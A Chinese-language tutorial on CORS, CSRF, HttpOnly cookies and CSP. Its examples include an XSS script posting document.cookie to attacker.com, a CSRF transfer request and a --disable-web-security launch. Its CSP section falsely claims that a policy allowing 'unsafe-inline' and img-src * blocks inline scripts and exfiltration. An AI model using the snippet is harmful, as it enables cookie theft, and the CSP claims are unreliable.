1. 跨域资源共享(CORS)的本质与浏览器安全机制
跨域资源共享(CORS)本质上是一种基于HTTP头的安全机制,它允许服务器声明哪些外部源(协议+域名+端口)有权访问自己的资源。这个机制的核心特点在于——它是由浏览器强制实施的客户端安全策略,而不是服务器端的限制。
举个例子,假设你的前端页面运行在https://example.com,而API服务部署在https://api.service.com。当你的前端JavaScript代码尝试通过fetch或XMLHttpRequest访问API时,浏览器会自动执行以下安全检查:
-
检查请求是否属于"简单请求"(Simple Request):
- 方法为GET/HEAD/POST
- 仅包含CORS安全的首部字段(Accept、Accept-Language等)
- Content-Type为application/x-www-form-urlencoded、multipart/form-data或text/plain
-
对于非简单请求,浏览器会先发送OPTIONS预检请求:
http复制OPTIONS /resource HTTP/1.1 Origin: https://example.com Access-Control-Request-Method: PUT Access-Control-Request-Headers: X-Custom-Header -
服务器必须响应适当的CORS头才会放行实际请求:
http复制HTTP/1.1 204 No Content Access-Control-Allow-Origin: https://example.com Access-Control-Allow-Methods: PUT Access-Control-Allow-Headers: X-Custom-Header Access-Control-Max-Age: 86400
关键点:即使服务器没有做任何跨域限制,浏览器仍然会阻止跨域请求的响应数据到达前端代码——这就是为什么开发者经常在控制台看到"Blocked by CORS policy"错误,而用curl测试同样的接口却能正常返回数据。
1.1 CORS与CSRF防护的关系误区
很多开发者误以为CORS能替代CSRF防护,这是危险的认知误区。CORS只影响浏览器对响应数据的访问,但恶意网站仍然可以:
- 通过
<form>提交跨域POST请求(如果服务器接受) - 通过
<img src="https://bank.com/transfer?to=attacker">发起GET请求 - 利用浏览器自动携带目标站Cookie的特性(除非设置SameSite属性)
javascript复制// 即使没有CORS头,这个请求仍会被发送(只是无法读取响应)
fetch('https://bank.com/transfer', {
method: 'POST',
body: JSON.stringify({to: 'attacker', amount: 1000}),
credentials: 'include' // 浏览器会自动携带目标站Cookie
});
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. CORS_ALLOWED_ORIGINS的实战配置
2.1 服务端配置示例(Django)
现代Web框架通常提供CORS中间件,以Django为例:
python复制# settings.py
CORS_ALLOWED_ORIGINS = [
"https://example.com",
"https://staging.example.com",
"http://localhost:3000"
]
# 允许携带凭证(Cookie/Authorization)
CORS_ALLOW_CREDENTIALS = True
# 预检请求缓存时间(秒)
CORS_PREFLIGHT_MAX_AGE = 86400
2.2 动态Origin白名单方案
对于SaaS类应用,可能需要动态判断Origin:
python复制def cors_middleware(get_response):
def middleware(request):
response = get_response(request)
origin = request.headers.get('Origin')
if origin in get_allowed_origins(): # 自定义验证逻辑
response['Access-Control-Allow-Origin'] = origin
response['Access-Control-Allow-Credentials'] = 'true'
return response
return middleware
2.3 危险的反模式
以下配置会完全破坏CORS的安全价值:
python复制# 绝对禁止的配置(允许任意来源)
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true # 与*同时使用会导致浏览器拒绝
# 反射Origin头(未经验证)
Access-Control-Allow-Origin: request.headers.get('Origin')
3. Cookie安全与HttpOnly的最佳实践
3.1 浏览器自动携带Cookie的机制
当满足以下条件时,浏览器会自动在跨域请求中包含Cookie:
- 服务器设置
Access-Control-Allow-Credentials: true - 前端设置
credentials: 'include'(fetch API) - Cookie未设置SameSite=Strict/Lax(针对现代浏览器)
http复制# 服务器响应设置Cookie
Set-Cookie: sessionid=xxxx; HttpOnly; Secure; SameSite=None
3.2 HttpOnly对XSS的防护原理
HttpOnly是Cookie的关键安全属性:
javascript复制document.cookie = "hacker=stolen; path=/"; // 普通Cookie可通过JS读取
// HttpOnly Cookie不会出现在document.cookie中
建议的Cookie安全配置:
code复制Set-Cookie:
sessionid=xxxx;
HttpOnly; // 禁止JS访问
Secure; // 仅HTTPS传输
SameSite=Lax; // 限制跨站携带
Path=/;
Max-Age=3600;
3.3 实际案例:银行网站的Cookie泄露
假设银行网站存在XSS漏洞:
html复制<!-- 恶意注入的脚本 -->
<script>
fetch('https://attacker.com/steal', {
method: 'POST',
body: document.cookie,
credentials: 'include' // 尝试携带HttpOnly Cookie(会失败)
});
</script>
由于HttpOnly的保护,攻击者无法通过XSS窃取关键会话Cookie,只能获取非HttpOnly的Cookie值。
4. 常见CORS问题排查指南
4.1 高频错误解决方案
| 错误信息 | 原因分析 | 解决方案 |
|---|---|---|
has been blocked by CORS policy: Response to preflight request doesn't pass |
预检请求未返回正确的CORS头 | 确保OPTIONS请求返回Access-Control-Allow-Headers/Methods |
No 'Access-Control-Allow-Origin' header is present |
服务器未返回Origin白名单 | 检查中间件是否漏掉CORS头 |
Credentials flag with wildcard origin |
同时使用*和credentials: true |
改用具体Origin白名单 |
Missing Allow-Origin when credentials flag is true |
需要明确指定Origin而非* |
动态反射或配置白名单 |
4.2 调试技巧
- 使用curl模拟预检请求:
bash复制curl -X OPTIONS \
-H "Origin: http://yourdomain.com" \
-H "Access-Control-Request-Method: PUT" \
-H "Access-Control-Request-Headers: X-Custom-Header" \
-v https://api.example.com/resource
-
Chrome开发者工具过滤CORS相关请求:
- Network面板勾选"Disable cache"
- 使用
is:issue筛选器查找CORS错误
-
临时禁用浏览器安全策略(仅开发环境):
bash复制# Chrome启动参数(危险!仅用于本地调试)
google-chrome --disable-web-security --user-data-dir=/tmp/unsafe
5. 高级防护:CSP与CORS的协同防御
Content Security Policy (CSP) 可以与CORS形成纵深防御:
http复制Content-Security-Policy:
default-src 'self';
connect-src https://api.trusted.com;
script-src 'unsafe-inline' 'self';
img-src *;
这种配置下:
- 即使存在XSS漏洞,攻击者也无法向非白名单域名发送数据
- 可以阻止内联脚本执行(除非明确允许)
- 结合CORS的Origin验证形成双重保护
实际部署时建议采用报告模式先观察:
http复制Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report
